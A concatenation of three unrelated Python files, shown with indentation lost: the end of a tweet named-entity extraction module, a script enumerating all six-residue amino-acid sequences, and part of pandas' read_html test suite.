elif (match_lst2):
#print ("GOTIT2: "+phrase)
p3=re.compile(r'([A-Z]{1}[a-z]+)+')
val=list(p3.finditer(phrase))[-1].span()[1]
ne_element.set_feature(ne.change_in_capitalization,val)
else:
ne_element.set_feature(ne.change_in_capitalization,val)
ne_element.set_feature(ne.has_topic_indicator,topic_indicator)
return ne_element
def quoteProcess(self,unitQuoted, tweetWordList):
candidateString=""
retList=[]
matches=[]
quoteMatch=[]
final=[]
flag=False
#print(tweetWordList)
list1=list(map(lambda index: tweetWordList[index], unitQuoted))
candidateString=" ".join(list1)
#print("=>",candidateString)
# candidateString=""
# for index in range(len(unitQuoted)-1):
# candidateString+=tweetWordList[unitQuoted[index]]+" "
# candidateString+=tweetWordList[unitQuoted[-1]]
# print("=>",candidateString)
flagOne=False
flagTwo=False
flagThree=False
flagFour=False
p= re.compile(r'[^\S]*([\'].*?[\'])[^a-zA-Z0-9\s]*[\s]*')
p1=re.compile(r'[^\s]+([\'].*?[\'])[^\s]*')
p2=re.compile(r'[^\s]*([\'].*?[\'])[^\s]+')
indices= (list(p.finditer(candidateString)))
indices1= (list(p1.finditer(candidateString)))
indices2= (list(p2.finditer(candidateString)))
if((len(indices)>0) & (len(indices1)==0)& (len(indices2)==0)):
flagOne=True
if(not flagOne):
p= re.compile(r'[^\S]*([‘].*?[’])[^a-zA-Z0-9\s]*[\s]*')
p1=re.compile(r'[^\s]+([‘].*?[’])[^\s]*')
p2=re.compile(r'[^\s]*([‘].*?[’])[^\s]+')
indices= (list(p.finditer(candidateString)))
indices1= (list(p1.finditer(candidateString)))
indices2= (list(p2.finditer(candidateString)))
if((len(indices)>0) & (len(indices1)==0)& (len(indices2)==0)):
flagTwo=True
if((not flagOne)&(not flagTwo)):
p= re.compile(r'[^\S]*([“].*?[”])[^a-zA-Z0-9\s]*[\s]*')
p1=re.compile(r'[^\s]+([“].*?[”])[^\s]*')
p2=re.compile(r'[^\s]*([“].*?[”])[^\s]+')
indices= (list(p.finditer(candidateString)))
indices1= (list(p1.finditer(candidateString)))
indices2= (list(p2.finditer(candidateString)))
if((len(indices)>0) & (len(indices1)==0)& (len(indices2)==0)):
flagThree=True
if((not flagOne)&(not flagTwo)&(not flagThree)):
p= re.compile(r'[^\S]*([\"].*?[\"])[^a-zA-Z0-9\s]*[\s]*')
p1=re.compile(r'[^\s]+([\"].*?[\"])[^\s]*')
p2=re.compile(r'[^\s]*([\"].*?[\"])[^\s]+')
indices= (list(p.finditer(candidateString)))
indices1= (list(p1.finditer(candidateString)))
indices2= (list(p2.finditer(candidateString)))
if((len(indices)>0) & (len(indices1)==0)& (len(indices2)==0)):
flagFour=True
if (flagOne|flagTwo|flagThree|flagFour):
flag=True
for index in indices:
span= list(index.span())
#print(span[0])
quoteMatch.append([int(span[0]),int(span[1])])
matches+=[int(span[0]),int(span[1])]
#print(matches)
final+=[(candidateString[0:matches[0]],False)]
for i in range(len(matches)-1):
if([matches[i],matches[i+1]] in quoteMatch):
final+=[((candidateString[matches[i]:matches[i+1]]).strip(),True)]
else:
final+=[((candidateString[matches[i]:matches[i+1]]).strip(),False)]
final+=[(candidateString[matches[-1]:],False)]
final=list(filter(lambda strin: strin[0]!="",final))
final=list(map(lambda strin: (strin[0].strip(),strin[1]),final))
#print(final)
for unit in final:
lst=[]
unitsplit=list(filter(lambda unitString: unitString!='',unit[0].split()))
for splitunit in unitsplit:
lst+=[tweetWordList.index(splitunit,unitQuoted[0])]
retList+=[(lst,unit[1])]
else:
retList+=[(unitQuoted,False)]
#print(retList)
return retList
# In[318]:
def trueEntity_process(self,tweetWordList_cappos,tweetWordList):
combined=[]+cachedStopWords+cachedTitles+prep_list+chat_word_list+article_list+day_list
#returns list with position of consecutively capitalized words
#print(tweetWordList_cappos, tweetWordList)
output_unfiltered = self.consecutive_cap(tweetWordList_cappos,tweetWordList)
#print("==>",output_unfiltered)
#splitting at quoted units
output_quoteProcessed=[]
start_quote=[]
end_quote=[]
for unitQuoted in output_unfiltered:
unitout=self.quoteProcess(unitQuoted, tweetWordList)
#print("==>",unitout)
for elem in unitout:
mod_out=[]
out=elem[0]
flag=elem[1]
sflag=False
# '’”"
#print(out,flag)
if not (flag):
#for id in range(len(out)):
temp=[]
#print("::",out)
for index in out:
#print(index,tweetWordList[index])
word=(((tweetWordList[index].strip().strip('"“‘’”"')).lstrip(string.punctuation)).rstrip(string.punctuation)).lower()
#print("=>"+word)"“‘’”"
if (word):
if (word in combined):
if(len(out)==1):
temp.append(index)
else:
if (word not in prep_list)&(word not in article_list):
temp.append(index)
else:
sflag=True
#else:
#if ((index==0)||()):
#temp.append(index)
# else:
# print("here")
# else:
# print("here")
#print(temp)
for elem in temp:
out.remove(elem)
#out[id]=temp
lst=[]
for k, g in groupby(enumerate(out), lambda elem: elem[1]-elem[0]):
lst=list(map(itemgetter(1), g))
#print("==>",lst)
if(lst):
mod_out.append((lst,sflag,flag))
#print('==>',mod_out)
else:
mod_out=[(out,sflag,flag)]
#print(mod_out)
#print(mod_out)
if(mod_out):
output_quoteProcessed.extend(mod_out)
#'cgl\print("=====>",output_quoteProcessed)
output= list(filter(lambda element: ((element[0]!=[0])&(element[0]!=[])), output_quoteProcessed))
#print(output)
#consecutive capitalized phrases
consecutive_cap_phrases1=list(map(lambda x: self.f(x[0],x[1],x[2],tweetWordList), output))
consecutive_cap_phrases=list(filter(lambda candidate:(candidate.phraseText!="JUST_DIGIT_ERROR"),consecutive_cap_phrases1))
#self.printList(consecutive_cap_phrases)
#implement the punctuation clause
ne_List_pc=self.flatten(list(map(lambda NE_phrase: self.punct_clause(NE_phrase), consecutive_cap_phrases)),[])
#self.printList(ne_List_pc)
#stopword removal and start-of-sentence
ne_List_pc_sr= list(map(lambda candidate: self.stopwordReplace(candidate), ne_List_pc))
#self.printList(ne_List_pc_sr)
ne_List_pc_checked= list(filter(lambda candidate: ((candidate.phraseText!="")&(candidate.position!=[0])), ne_List_pc_sr))
#implement title detection
#ne_List_titleCheck= list(map(lambda element: self.title_check(element), ne_List_pc_checked))
#implement slang check and remove
ne_List_slangCheck= list(filter(lambda element: not self.slang_remove(element), ne_List_pc_checked))
#implement apostrophe, tense and punctuation marker with final number check
#ne_List_apostropeCheck= list(map(lambda element: self.apostrope_check(element), ne_List_slangCheck))
#ne_List_punctuationCheck= list(map(lambda element: self.punctuation_check(element), ne_List_apostropeCheck))
ne_List_numCheck=list(filter(lambda candidate: not (candidate.phraseText.lstrip(string.punctuation).rstrip(string.punctuation).strip()).isdigit(), ne_List_slangCheck))
#ne_List_tenseCheck= list(map(lambda element: self.tense_check(element), ne_List_numCheck))
#tracking sudden change in capitalization pattern
#ne_List_capPatCheck= list(map(lambda element: self.capitalization_change(element), ne_List_tenseCheck))
#check on length
ne_List_lengthCheck= list(filter(lambda element: element.length<7, ne_List_numCheck))
ne_List_badWordCheck= list(filter(lambda element:((element.phraseText.strip().strip(string.punctuation).lstrip('“‘’”')).rstrip('“‘’”').lower()) not in combined, ne_List_lengthCheck))
ne_List_allCheck= list(filter(lambda element:(len((element.phraseText.strip().strip(string.punctuation).lstrip('“‘’”')).rstrip('“‘’”'))>1),ne_List_badWordCheck))
#ne_List_allCheck= list(filter(lambda element: (element.phraseText.lower() not in combined), ne_List_double_Check))
#q.put(ne_List_allCheck)
return ne_List_allCheck
#return ne_List_allCheck
# In[319]:
'''This is the main module. I am not explicitly writing it as a function as I am not sure what argument you are
passing.However you can call this whole cell as a function and it will call the rest of the functions in my module
to extract candidates and features
'''
'''#reads input from the database file and converts to a dataframe. You can change this part accordingly and
#directly convert argument tuple to the dataframe'''
#Inputs: Collection.csv 500Sample.csv 3.2KSample.csv eric_trump.csv
#df_out.to_csv('TweetBase500.csv')
#--------------------------------------PHASE I---------------------------------------------------
# In[ ]:
#--------------------------------------PHASE II---------------------------------------------------
'''set1 = set(['Melania','Trump'])
set2 = set(['Donald','Trump'])
set3 = set(['Jared','Kushner'])
m1 = MinHash(num_perm=200)
m2 = MinHash(num_perm=200)
m3 = MinHash(num_perm=200)
for d in set1:
m1.update(d.encode('utf8'))
for d in set2:
m2.update(d.encode('utf8'))
for d in set3:
m3.update(d.encode('utf8'))
# Create LSH index
lsh = MinHashLSH(threshold=0.0, num_perm=200)
lsh.insert("m2", m2)
lsh.insert("m3", m3)
result = lsh.query(m1)
print("Approximate neighbours with Jaccard similarity", result)
candidates=["donald trump","melania trump", "obama","barack obama","barack"]
listofMinhash=[]
m=MinHash(num_perm=200)
candidate0=set(candidates[0].split())
for d in candidate0:
m.update(d.encode('utf8'))
listofMinhash.append(m)
lsh = MinHashLSH(threshold=0.0, num_perm=200)
lsh.insert("m2", m2)
for candidate in candidates[1:]:'''
# In[ ]:
'''
print ("Shingling articles...")
# The current shingle ID value to assign to the next new shingle we
# encounter. When a shingle gets added to the dictionary, we'll increment this
# value.
curShingleID = 0
# Create a dictionary of the articles, mapping the article identifier (e.g.,
# "t8470") to the list of shingle IDs that appear in the document.
candidatesAsShingleSets = {};
candidateNames = []
t0 = time.time()
totalShingles = 0
for k in range(0, len(sorted_NE_container.keys())):
# Read all of the words (they are all on one line) and split them by white space.
words = list(sorted_NE_container.keys())[k].split(" ")
# Retrieve the article ID, which is the first word on the line.
candidateID = k
# Maintain a list of all document IDs.
candidateNames.append(candidateID)
# 'shinglesInDoc' will hold all of the unique shingle IDs present in the current document.
#If a shingle ID occurs multiple times in the document,
# it will only appear once in the set (this is a property of Python sets).
shinglesInCandidate = set()
# For each word in the document...
for index in range(0, len(words)):
# Construct the shingle text by combining three words together.
shingle = words[index]
# Hash the shingle to a 32-bit integer.
#crc = binascii.crc32("")
crc = binascii.crc32(bytes(shingle, encoding="UTF-8")) & (0xffffffff)
# Add the hash value to the list of shingles for the current document.
# Note that set objects will only add the value to the set if the set
# doesn't already contain it.
shinglesInCandidate.add(crc)
# Store the completed list of shingles for this document in the dictionary.
#print(str(words)+": ")
#for i in shinglesInCandidate:
# print('0x%08x' %i)
candidatesAsShingleSets[candidateID] = shinglesInCandidate
# Count the number of shingles across all documents.
totalShingles = totalShingles + (len(words))
# Report how long shingling took.
print ('\nShingling ' + str(str(len(sorted_NE_container.keys()))) + ' candidates took %.2f sec.' % (time.time() - t0))
print ('\nAverage shingles per doc: %.2f' % (totalShingles / len(sorted_NE_container.keys())))
'''
# In[ ]:
'''
# =============================================================================
# Generate MinHash Signatures
# =============================================================================
numHashes=20
numCandidates=len(sorted_NE_container.keys())
# Time this step.
t0 = time.time()
print ('Generating random hash functions...')
# Record the maximum shingle ID that we assigned.
maxShingleID = 2**32-1
nextPrime = 4294967311
# Our random hash function will take the form of:
# h(x) = (a*x + b) % c
# Where 'x' is the input value, 'a' and 'b' are random coefficients, and 'c' is
# a prime number just greater than maxShingleID.
# Generate a list of 'k' random coefficients for the random hash functions,
# while ensuring that the same value does not appear multiple times in the
# list.
def pickRandomCoeffs(k):
# Create a list of 'k' random values.
randList = []
while k > 0:
# Get a random shingle ID.
randIndex = random.randint(0, maxShingleID)
# Ensure that each random number is unique.
while randIndex in randList:
randIndex = random.randint(0, maxShingleID)
# Add the random number to the list.
randList.append(randIndex)
k = k - 1
return randList
# For each of the 'numHashes' hash functions, generate a different coefficient 'a' and 'b'.
coeffA = pickRandomCoeffs(numHashes)
coeffB = pickRandomCoeffs(numHashes)
print ('\nGenerating MinHash signatures for all candidates...')
# List of documents represented as signature vectors
signatures =np.ndarray(shape=(20, numCandidates))
# Rather than generating a random permutation of all possible shingles,
# we'll just hash the IDs of the shingles that are *actually in the document*,
# then take the lowest resulting hash code value. This corresponds to the index
# of the first shingle that you would have encountered in the random order.
# For each document...
for candidateID in candidateNames:
# Get the shingle set for this document.
shingleIDSet = candidatesAsShingleSets[candidateID]
# The resulting minhash signature for this document.
signature = []
# For each of the random hash functions...
for i in range(0, numHashes):
# For each of the shingles actually in the document, calculate its hash code
# using hash function 'i'.
# Track the lowest hash ID seen. Initialize 'minHashCode' to be greater than
# the maximum possible value output by the hash.
minHashCode = nextPrime + 1
# For each shingle in the document...
for shingleID in shingleIDSet:
# Evaluate the hash function.
hashCode = (coeffA[i] * shingleID + coeffB[i]) % nextPrime
# Track the lowest hash code seen.
if hashCode < minHashCode:
minHashCode = hashCode
# Add the smallest hash code value as component number 'i' of the signature.
signature.append(minHashCode)
# Store the MinHash signature for this document.
#signatures.append(signature)
signatures[:,candidateID]=signature
# Calculate the elapsed time (in seconds)
elapsed = (time.time() - t0)
print(list(np.shape(signatures)))
print ("\nGenerating MinHash signatures took %.2fsec" % elapsed)
#print ('\nsignatures stored in a numpy array...')
# Creates a N x N matrix initialized to 0.
# Time this step.
t0 = time.time()
# For each of the test documents...
for i in range(10, 11):
#for i in range(0, numCandidates):
print(list(sorted_NE_container.keys())[i]+": ",end="")
# Get the MinHash signature for document i.
signature1 = signatures[i]
# For each of the other test documents...
for j in range(0, numCandidates):
if(j!=i):
# Get the MinHash signature for document j.
signature2 = signatures[j]
count = 0
# Count the number of positions in the minhash signature which are equal.
for k in range(0, numHashes):
count = count + (signature1[k] == signature2[k])
# Record the percentage of positions which matched.
estJSim= (count / numHashes)
#print(estJSim)
if (estJSim>=0.5):
print("=>"+list(sorted_NE_container.keys())[j]+", ",end="")
print()
# Calculate the elapsed time (in seconds)
elapsed = (time.time() - t0)
print ("\nComparing MinHash signatures took %.2fsec" % elapsed)'''
# In[ ]:
'''cap_phrases="Trump:Russia,Afgha"
words=re.split('[,:]', cap_phrases)
print(words)
candidateString='"BS'
p= re.compile(r'(".*?")[^\s]*[\s]*')
indices= (list( p.finditer(candidateString) ))
matches=[]
final=[]
if(indices):
for index in indices:
span= list(index.span())
#print(span[0])
matches+=[int(span[0]),int(span[1])]
print(matches)
final+=[candidateString[0:matches[0]]]
for i in range(len(matches)-1):
final+=[(candidateString[matches[i]:matches[i+1]]).strip()]
final+=[candidateString[matches[-1]:]]
final=list(filter(lambda strin: strin!="",final))
final=list(map(lambda strin: strin.strip(),final))
print(final)'''
# tweets=pd.read_csv("deduplicated_test.csv", header=0, index_col = 0 ,encoding = 'utf-8',delimiter=';')
# tweets=tweets[:1000:]
# Phase1= SatadishaModule()
# for i in range(2):
# Phase1= SatadishaModule()
# Phase1.extract(tweets,1) |
AminoAcidCombinationsSingleLengthMultiCore.py | from itertools import product
from time import time
from multiprocessing import Process
amino_acids = 'ACDEFGHIKLMNPQRSTVWY'
amino_acids_invert = amino_acids[::-1]
sequence_length = 6 #CAREFUL, TOO MUCH (more than 7) WILL FILL UP HARD DRIVE
print(amino_acids)
print(str(len(amino_acids)) + ' different Amino Acids possible \n')
start_time = time() #tracks time at start
def first_half():
counter = 0
with open('all_amino_acid_sequences.txt', 'a') as output_file:
for sequence in product(amino_acids, repeat=sequence_length): #cartesian product (permutation)
sequence_string = ''.join(sequence) #tuple -> string
output_file.write(sequence_string + '\n') #write sequence to file
if counter % 1000123 == 0: #for user interface purposes
print(sequence_string)
print('percent done: ' + str(round(counter/(20**sequence_length)*100*2, 2)) + '%')
print('...')
if counter == ((20**sequence_length)/2)-1:
print('Done! Took ' + str(round(time() - start_time, 2)) + ' seconds.')
return
counter += 1
def second_half():
counter = 0
with open('all_amino_acid_sequences.txt', 'a') as output_file:
for sequence in product(amino_acids_invert, repeat=sequence_length): #cartesian product (permutation)
sequence_string = ''.join(sequence) #tuple -> string
output_file.write(sequence_string + '\n') #write sequence to file
#if counter % 1000123 == 0: #for user interface purposes
# print(sequence_string)
# print('percent done: ' + str(round(counter/(20**sequence_length)*100, 2)) + '%')
# print('...')
if counter == ((20**sequence_length)/2)-1:
return
counter += 1
if __name__=='__main__':
p1 = Process(target=first_half)
p1.start()
p2 = Process(target=second_half)
p2.start()
#dual core only marginally (30%) better than single thread? |
test_html.py | from functools import partial
from importlib import reload
from io import BytesIO, StringIO
import os
import re
import threading
from urllib.error import URLError
import numpy as np
from numpy.random import rand
import pytest
from pandas.compat import is_platform_windows
from pandas.errors import ParserError
import pandas.util._test_decorators as td
from pandas import DataFrame, Index, MultiIndex, Series, Timestamp, date_range, read_csv
import pandas.util.testing as tm
from pandas.io.common import file_path_to_url
import pandas.io.html
from pandas.io.html import read_html
HERE = os.path.dirname(__file__)
@pytest.fixture(
params=[
"chinese_utf-16.html",
"chinese_utf-32.html",
"chinese_utf-8.html",
"letz_latin1.html",
]
)
def html_encoding_file(request, datapath):
"""Parametrized fixture for HTML encoding test filenames."""
return datapath("io", "data", "html_encoding", request.param)
def assert_framelist_equal(list1, list2, *args, **kwargs):
assert len(list1) == len(list2), (
"lists are not of equal size "
"len(list1) == {0}, "
"len(list2) == {1}".format(len(list1), len(list2))
)
msg = "not all list elements are DataFrames"
both_frames = all(
map(
lambda x, y: isinstance(x, DataFrame) and isinstance(y, DataFrame),
list1,
list2,
)
)
assert both_frames, msg
for frame_i, frame_j in zip(list1, list2):
tm.assert_frame_equal(frame_i, frame_j, *args, **kwargs)
assert not frame_i.empty, "frames are both empty"
@td.skip_if_no("bs4")
def test_bs4_version_fails(monkeypatch, datapath):
import bs4
monkeypatch.setattr(bs4, "__version__", "4.2")
with pytest.raises(ImportError, match="Pandas requires version"):
read_html(datapath("io", "data", "html", "spam.html"), flavor="bs4")
def test_invalid_flavor():
url = "google.com"
flavor = "invalid flavor"
msg = r"\{" + flavor + r"\} is not a valid set of flavors"
with pytest.raises(ValueError, match=msg):
read_html(url, "google", flavor=flavor)
@td.skip_if_no("bs4")
@td.skip_if_no("lxml")
def test_same_ordering(datapath):
filename = datapath("io", "data", "html", "valid_markup.html")
dfs_lxml = read_html(filename, index_col=0, flavor=["lxml"])
dfs_bs4 = read_html(filename, index_col=0, flavor=["bs4"])
assert_framelist_equal(dfs_lxml, dfs_bs4)
@pytest.mark.parametrize(
"flavor",
[
pytest.param("bs4", marks=td.skip_if_no("bs4")),
pytest.param("lxml", marks=td.skip_if_no("lxml")),
],
scope="class",
)
class TestReadHtml:
@pytest.fixture(autouse=True)
def set_files(self, datapath):
self.spam_data = datapath("io", "data", "html", "spam.html")
self.spam_data_kwargs = {}
self.spam_data_kwargs["encoding"] = "UTF-8"
self.banklist_data = datapath("io", "data", "html", "banklist.html")
@pytest.fixture(autouse=True, scope="function")
def set_defaults(self, flavor, request):
self.read_html = partial(read_html, flavor=flavor)
yield
def test_to_html_compat(self):
df = (
tm.makeCustomDataframe(
4,
3,
data_gen_f=lambda *args: rand(),
c_idx_names=False,
r_idx_names=False,
)
.applymap("{0:.3f}".format)
.astype(float)
)
out = df.to_html()
res = self.read_html(out, attrs={"class": "dataframe"}, index_col=0)[0]
tm.assert_frame_equal(res, df)
@tm.network
def test_banklist_url(self):
url = "http://www.fdic.gov/bank/individual/failed/banklist.html"
df1 = self.read_html(
url, "First Federal Bank of Florida", attrs={"id": "table"}
)
df2 = self.read_html(url, "Metcalf Bank", attrs={"id": "table"})
assert_framelist_equal(df1, df2)
@tm.network
def test_spam_url(self):
url = (
"https://raw.githubusercontent.com/pandas-dev/pandas/master/"
"pandas/tests/io/data/html/spam.html"
)
df1 = self.read_html(url, ".*Water.*")
df2 = self.read_html(url, "Unit")
assert_framelist_equal(df1, df2)
@pytest.mark.slow
def test_banklist(self):
df1 = self.read_html(self.banklist_data, ".*Florida.*", attrs={"id": "table"})
df2 = self.read_html(self.banklist_data, "Metcalf Bank", attrs={"id": "table"})
assert_framelist_equal(df1, df2)
def test_spam(self):
df1 = self.read_html(self.spam_data, ".*Water.*")
df2 = self.read_html(self.spam_data, "Unit")
assert_framelist_equal(df1, df2)
assert df1[0].iloc[0, 0] == "Proximates"
assert df1[0].columns[0] == "Nutrient"
def test_spam_no_match(self):
dfs = self.read_html(self.spam_data)
for df in dfs:
assert isinstance(df, DataFrame)
def test_banklist_no_match(self):
dfs = self.read_html(self.banklist_data, attrs={"id": "table"})
for df in dfs:
assert isinstance(df, DataFrame)
def test_spam_header(self):
df = self.read_html(self.spam_data, ".*Water.*", header=2)[0]
assert df.columns[0] == "Proximates"
assert not df.empty
def test_skiprows_int(self):
df1 = self.read_html(self.spam_data, ".*Water.*", skiprows=1)
df2 = self.read_html(self.spam_data, "Unit", skiprows=1)
assert_framelist_equal(df1, df2)
def test_skiprows_range(self):
df1 = self.read_html(self.spam_data, ".*Water.*", skiprows=range(2))[0]
df2 = self.read_html(self.spam_data, "Unit", skiprows=range(2))[0]
tm.assert_frame_equal(df1, df2)
def test_skiprows_list(self):
df1 = self.read_html(self.spam_data, ".*Water.*", skiprows=[1, 2])
df2 = self.read_html(self.spam_data, "Unit", skiprows=[2, 1])
assert_framelist_equal(df1, df2)
def test_skiprows_set(self):
df1 = self.read_html(self.spam_data, ".*Water.*", skiprows={1, 2})
df2 = self.read_html(self.spam_data, "Unit", skiprows={2, 1})
assert_framelist_equal(df1, df2)
def test_skiprows_slice(self):
df1 = self.read_html(self.spam_data, ".*Water.*", skiprows=1)
df2 = self.read_html(self.spam_data, "Unit", skiprows=1)
assert_framelist_equal(df1, df2)
def test_skiprows_slice_short(self):
df1 = self.read_html(self.spam_data, ".*Water.*", skiprows=slice(2))
df2 = self.read_html(self.spam_data, "Unit", skiprows=slice(2))
assert_framelist_equal(df1, df2)
def test_skiprows_slice_long(self):
df1 = self.read_html(self.spam_data, ".*Water.*", skiprows=slice(2, 5))
df2 = self.read_html(self.spam_data, "Unit", skiprows=slice(4, 1, -1))
assert_framelist_equal(df1, df2)
def test_skiprows_ndarray(self):
df1 = self.read_html(self.spam_data, ".*Water.*", skiprows=np.arange(2))
df2 = self.read_html(self.spam_data, "Unit", skiprows=np.arange(2))
assert_framelist_equal(df1, df2)
def test_skiprows_invalid(self):
with pytest.raises(TypeError, match=("is not a valid type for skipping rows")):
self.read_html(self.spam_data, ".*Water.*", skiprows="asdf")
def test_index(self):
df1 = self.read_html(self.spam_data, ".*Water.*", index_col=0)
df2 = self.read_html(self.spam_data, "Unit", index_col=0)
assert_framelist_equal(df1, df2)
def test_header_and_index_no_types(self):
df1 = self.read_html(self.spam_data, ".*Water.*", header=1, index_col=0)
df2 = self.read_html(self.spam_data, "Unit", header=1, index_col=0)
assert_framelist_equal(df1, df2)
def test_header_and_index_with_types(self):
df1 = self.read_html(self.spam_data, ".*Water.*", header=1, index_col=0)
df2 = self.read_html(self.spam_data, "Unit", header=1, index_col=0)
assert_framelist_equal(df1, df2)
def test_infer_types(self):
# 10892 infer_types removed
df1 = self.read_html(self.spam_data, ".*Water.*", index_col=0)
df2 = self.read_html(self.spam_data, "Unit", index_col=0)
assert_framelist_equal(df1, df2)
def test_string_io(self):
with open(self.spam_data, **self.spam_data_kwargs) as f:
data1 = StringIO(f.read())
with open(self.spam_data, **self.spam_data_kwargs) as f:
data2 = StringIO(f.read())
df1 = self.read_html(data1, ".*Water.*")
df2 = self.read_html(data2, "Unit")
assert_framelist_equal(df1, df2)
def test_string(self):
with open(self.spam_data, **self.spam_data_kwargs) as f:
data = f.read()
df1 = self.read_html(data, ".*Water.*")
df2 = self.read_html(data, "Unit")
assert_framelist_equal(df1, df2)
def test_file_like(self):
with open(self.spam_data, **self.spam_data_kwargs) as f:
df1 = self.read_html(f, ".*Water.*")
with open(self.spam_data, **self.spam_data_kwargs) as f:
df2 = self.read_html(f, "Unit")
assert_framelist_equal(df1, df2)
@tm.network
def test_bad_url_protocol(self):
with pytest.raises(URLError):
self.read_html("git://github.com", match=".*Water.*")
@tm.network
@pytest.mark.slow
def test_invalid_url(self):
try:
with pytest.raises(URLError):
self.read_html("http://www.a23950sdfa908sd.com", match=".*Water.*")
except ValueError as e:
assert "No tables found" in str(e)
@pytest.mark.slow
def test_file_url(self):
url = self.banklist_data
dfs = self.read_html(
file_path_to_url(os.path.abspath(url)), "First", attrs={"id": "table"}
)
assert isinstance(dfs, list)
for df in dfs:
assert isinstance(df, DataFrame)
@pytest.mark.slow
def test_invalid_table_attrs(self):
url = self.banklist_data
with pytest.raises(ValueError, match="No tables found"):
self.read_html(
url, "First Federal Bank of Florida", attrs={"id": "tasdfable"}
)
def _bank_data(self, *args, **kwargs):
return self.read_html(
self.banklist_data, "Metcalf", attrs={"id": "table"}, *args, **kwargs
)
@pytest.mark.slow
def test_multiindex_header(self):
df = self._bank_data(header=[0, 1])[0]
assert isinstance(df.columns, MultiIndex)
@pytest.mark.slow
def test_multiindex_index(self):
df = self._bank_data(index_col=[0, 1])[0]
assert isinstance(df.index, MultiIndex)
@pytest.mark.slow
def test_multiindex_header_index(self):
df = self._bank_data(header=[0, 1], index_col=[0, 1])[0]
assert isinstance(df.columns, MultiIndex)
assert isinstance(df.index, MultiIndex)
@pytest.mark.slow
def test_multiindex_header_skiprows_tuples(self):
df = self._bank_data(header=[0, 1], skiprows=1)[0]
assert isinstance(df.columns, MultiIndex)
@pytest.mark.slow
def test_multiindex_header_skiprows(self):
df = self._bank_data(header=[0, 1], skiprows=1)[0]
assert isinstance(df.columns, MultiIndex)
@pytest.mark.slow
def test_multiindex_header_index_skiprows(self):
df = self._bank_data(header=[0, 1], index_col=[0, 1], skiprows=1)[0]
assert isinstance(df.index, MultiIndex)
assert isinstance(df.columns, MultiIndex)
@pytest.mark.slow
def test_regex_idempotency(self):
url = self.banklist_data
dfs = self.read_html(
file_path_to_url(os.path.abspath(url)),
match=re.compile(re.compile("Florida")),
attrs={"id": "table"},
)
assert isinstance(dfs, list)
for df in dfs:
assert isinstance(df, DataFrame)
def test_negative_skiprows(self):
msg = r"\(you passed a negative value\)"
with pytest.raises(ValueError, match=msg):
self.read_html(self.spam_data, "Water", skiprows=-1)
@tm.network
def test_multiple_matches(self):
url = "https://docs.python.org/2/"
dfs = self.read_html(url, match="Python")
assert len(dfs) > 1
@tm.network
def test_python_docs_table(self):
url = "https://docs.python.org/2/"
dfs = self.read_html(url, match="Python")
zz = [df.iloc[0, 0][0:4] for df in dfs]
assert sorted(zz) == sorted(["Repo", "What"])
@pytest.mark.slow
def test_thousands_macau_stats(self, datapath):
all_non_nan_table_index = -2
macau_data = datapath("io", "data", "html", "macau.html")
dfs = self.read_html(macau_data, index_col=0, attrs={"class": "style1"})
df = dfs[all_non_nan_table_index]
assert not any(s.isna().any() for _, s in df.items())
@pytest.mark.slow
def test_thousands_macau_index_col(self, datapath, request):
# https://github.com/pandas-dev/pandas/issues/29622
# This tests fails for bs4 >= 4.8.0 - so handle xfail accordingly
if self.read_html.keywords.get("flavor") == "bs4" and td.safe_import(
"bs4", "4.8.0"
):
reason = "fails for bs4 version >= 4.8.0"
request.node.add_marker(pytest.mark.xfail(reason=reason))
all_non_nan_table_index = -2
macau_data = datapath("io", "data", "html", "macau.html")
dfs = self.read_html(macau_data, index_col=0, header=0)
df = dfs[all_non_nan_table_index]
assert not any(s.isna().any() for _, s in df.items())
def test_empty_tables(self):
"""
Make sure that read_html ignores empty tables.
"""
html = """
<table>
<thead>
<tr>
<th>A</th>
<th>B</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>2</td>
</tr>
</tbody>
</table>
<table>
<tbody>
</tbody>
</table>
"""
result = self.read_html(html)
assert len(result) == 1
def test_multiple_tbody(self):
# GH-20690
# Read all tbody tags within a single table.
result = self.read_html(
"""<table>
<thead>
<tr>
<th>A</th>
<th>B</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>2</td>
</tr>
</tbody>
<tbody>
<tr>
<td>3</td>
<td>4</td>
</tr>
</tbody>
</table>"""
)[0]
expected = DataFrame(data=[[1, 2], [3, 4]], columns=["A", "B"])
tm.assert_frame_equal(result, expected)
def test_header_and_one_column(self):
"""
Don't fail with bs4 when there is a header and only one column
as described in issue #9178
"""
result = self.read_html(
"""<table>
<thead>
<tr>
<th>Header</th>
</tr>
</thead>
<tbody>
<tr>
<td>first</td>
</tr>
</tbody>
</table>"""
)[0]
expected = DataFrame(data={"Header": "first"}, index=[0])
tm.assert_frame_equal(result, expected)
def test_thead_without_tr(self):
"""
Ensure parser adds <tr> within <thead> on malformed HTML.
"""
result = self.read_html(
"""<table>
<thead>
<tr>
<th>Country</th>
<th>Municipality</th>
<th>Year</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ukraine</td>
<th>Odessa</th>
<td>1944</td>
</tr>
</tbody>
</table>"""
)[0]
expected = DataFrame(
data=[["Ukraine", "Odessa", 1944]],
columns=["Country", "Municipality", "Year"],
)
tm.assert_frame_equal(result, expected)
def test_tfoot_read(self):
"""
Make sure that read_html reads tfoot, containing td or th.
Ignores empty tfoot
"""
data_template = """<table>
<thead>
<tr>
<th>A</th>
<th>B</th>
</tr>
</thead>
<tbody>
<tr>
<td>bodyA</td>
<td>bodyB</td>
</tr>
</tbody>
<tfoot>
{footer}
</tfoot>
</table>"""
expected1 = DataFrame(data=[["bodyA", "bodyB"]], columns=["A", "B"])
expected2 = DataFrame(
data=[["bodyA", "bodyB"], ["footA", "footB"]], columns=["A", "B"]
)
data1 = data_template.format(footer="")
data2 = data_template.format(footer="<tr><td>footA</td><th>footB</th></tr>")
result1 = self.read_html(data1)[0]
result2 = self.read_html(data2)[0]
tm.assert_frame_equal(result1, expected1)
tm.assert_frame_equal(result2, expected2)
def test_parse_header_of_non_string_column(self):
# GH5048: if header is specified explicitly, an int column should be
# parsed as int while its header is parsed as str
result = self.read_html(
"""
<table>
<tr>
<td>S</td>
<td>I</td>
</tr>
<tr>
<td>text</td>
<td>1944</td>
</tr>
</table>
""",
header=0,
)[0]
expected = DataFrame([["text", 1944]], columns=("S", "I"))
tm.assert_frame_equal(result, expected)
def test_nyse_wsj_commas_table(self, datapath):
data = datapath("io", "data", "html", "nyse_wsj.html")
df = self.read_html(data, index_col=0, header=0, attrs={"class": "mdcTable"})[0]
expected = Index(
[
"Issue(Roll over for charts and headlines)",
"Volume",
"Price",
"Chg",
